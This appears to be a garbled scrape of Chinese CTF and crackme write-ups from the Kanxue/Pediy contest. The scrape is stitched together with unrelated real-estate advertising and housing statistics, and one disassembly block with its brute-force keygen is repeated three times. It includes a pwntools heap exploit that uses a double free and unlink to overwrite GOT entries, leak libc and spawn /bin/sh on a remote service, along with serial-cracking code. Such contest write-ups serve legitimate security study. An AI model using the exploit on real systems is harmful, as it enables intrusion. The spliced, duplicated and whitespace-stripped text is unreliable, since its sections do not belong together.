rt004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535,同时,雅居乐民森迪茵湖小镇首批组团规划有幼儿园和小学,全龄段教育配套雏形已现。1月全市共成交7331套二手房,环比减少%,同比增加1倍;成交面积609905平方米,环比减少一成,同比增加%。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。?详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:.text:00403F65leaecx,[ebp+var_18_2Cstr].text:00403F68callHi_getCStrPtr_sub_:00403F6Dpusheax;:00403F6Eleaecx,[ebp+var_30_key1].text:00403F71callHi_checkKey1_or_expandKey_sub_403230Hi_checkFlag_dword_5982E4=1Hi_checkKey1_or_expandKey_sub_403230校验ifHi_checkFlag_dword_5982E4==1:Hi_check_key1_sub_403510//校验key1else:Hi_DecExpand_sub_403650//保留的key信息变换函数,本样例不使用在Hi_check_key1_sub_403510中调用0040354EcallHi_extract_key1_sub_4032C0解密释放出对比的rkey1,随后将rkey1与key1明文对比,即只需要在40356D断下,观测ecx和eax寄存器指向的缓冲区即可得到key1\rkey1=pediy比对正确后,会对Hi_checkFlag_dword_5982E4清零,后续重入Hi_checkKey1_or_expandKey_sub_403230函数时就不会重复校验。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535  1月13日,雅居乐民森迪茵湖小镇迎来盛事——首期组团“在水一方”正式发售,推出建面约76㎡两房、93㎡三房、110㎡三房、123㎡与155㎡复式产品,推售1/2/3/5/6/8/9/10栋,推售均价12000-14000元/平米。,地方两会,不仅是地方政治生活中的一件大事,更是了解地方政策措施的重要渠道。先看了字符串:FileMonitor-Sysinternals::检测了一堆进程,以这个作为已知条件,很容易找到代码(起始直接看winmain就好)int__stdcallsub_434EF0(HWNDhDlg,inta2,inta3,inta4){size_tv4;//ST0C_4CHAR*v5;//esisize_tv6;//eaxintv8;//[esp+Ch][ebp-1A40h]inti;//[esp+1C4h][ebp-1888h]charv10[1032];//[esp+1D0h][ebp-187Ch]unsigned__int8v11[40];//[esp+5D8h][ebp-1474h]size_tv12;//[esp+600h][ebp-144Ch]_BYTEv13[1032];//[esp+60Ch][ebp-1440h]charv14;//[esp+A14h][ebp-1038h]charv15;//[esp+A15h][ebp-1037h]charv16;//[esp+E1Ch][ebp-C30h]charv17;//[esp+E1Dh][ebp-C2Fh]CHARString;//[esp+1224h][ebp-828h]charv19;//[esp+1225h][ebp-827h]UINTv20;//[esp+162Ch][ebp-420h]charv21;//[esp+1638h][ebp-414h]charv22;//[esp+1639h][ebp-413h]intv23;//[esp+1A40h][ebp-Ch]v23=0;v21=0;j__memset(v22,0,0x3FFu);v8=a2;if(a2==16)ExitProcess(0);if(v8==WM_INITDIALOG){v23=sub_42D4F1();if(v23==1)ExitProcess(0);v23=0;v23=sub_42E428();if(v23==1)ExitProcess(0);v23=0;v23=sub_42D825();if(v23==1)ExitProcess(0);sub_42D14F(hDlg,1);return0;}if(v8!=WM_COMMAND)return0;v8=(unsigned__int16)a3;if((unsigned__int16)a3==1002){String=0;j__memset(v19,0,0x3FFu);v16=0;j__memset(v17,0,0x3FFu);v20=GetDlgItemTextA(hDlg,1001,String,1025);v14=0;j__memset(v15,0,0x3FFu);base64_decode_42D267((int)String,1024,(int)v16);v13[0]=0;j__memset(v13[1],0,0x3FFu);base64_decode_42D267((int)v16,1024,(int)v14);trans_42D96A(v14,(int)v13,1024);v12=3;sm3_42DA78(v14,3u,(int)v11);for(i=0;i32;++i)j__sprintf(v10[2*i],"%02x",v11[i]);v4=j__strlen(v10);v5=String+j__strlen(String);v6=j__strlen(v10);//输入的base64串的后64位与原始字符串的sm3值相等if(!j__memcmp(v10,v5[-v6],v4)){sub_42D0B4();if(sub_42D9AB((int)byte_49B000,(int)v13)==1)MessageBoxA(0,"ok","CrackMe",0);}}return1;}对话框的窗口回调函数。解题过程1.查看程序1.题目提示要在xp下运行,看了看资源,发现有驱动,将文件提取出来,用PEID的算法插件KANAL扫描驱动,发现有MD5算法:2.用OD加载程序CrakeME,下断点CreateFileA,一次断在释放驱动的时候,另一次断在加载驱动的时候:00401DE8|.53PUSHEBX/hTemplateFile=NULL00401DE9|.6880000000PUSH0x80|Attributes=NORMAL00401DEE|.6A03PUSH0x3|Mode=OPEN_EXISTING00401DF0|.53PUSHEBX|pSecurity=NULL00401DF1|.53PUSHEBX|ShareMode=000401DF2|.68000000C0PUSH0xC0000000|Access=GENERIC_READ|GENERIC_WRITE00401DF7|.|FileName=\\.\vmxdrv00401DFC|.FF1588324200CALLNEARDWORDPTRDS:[\CreateFileA在CreateFileA的下一条指令下断点,运行程序,程序直接出错退出。2.算法:004021A0C68424A0020000MOVBYTEPTRSS:[ESP+0x2A0],0x75004021A8C68424A1020000MOVBYTEPTRSS:[ESP+0x2A1],0x69004021B0C68424A2020000MOVBYTEPTRSS:[ESP+0x2A2],0x72004021B8C68424A3020000MOVBYTEPTRSS:[ESP+0x2A3],0x65004021C0889C24A4020000MOVBYTEPTRSS:[ESP+0x2A4],,4243CLEAEAX,DWORDPTRSS:[ESP+0x3C]_getglobal004021FC57PUSHEDI注册码004021FD56PUSHESIL*_pushstring00_pcall0040220B83C438ADDESP,0x3800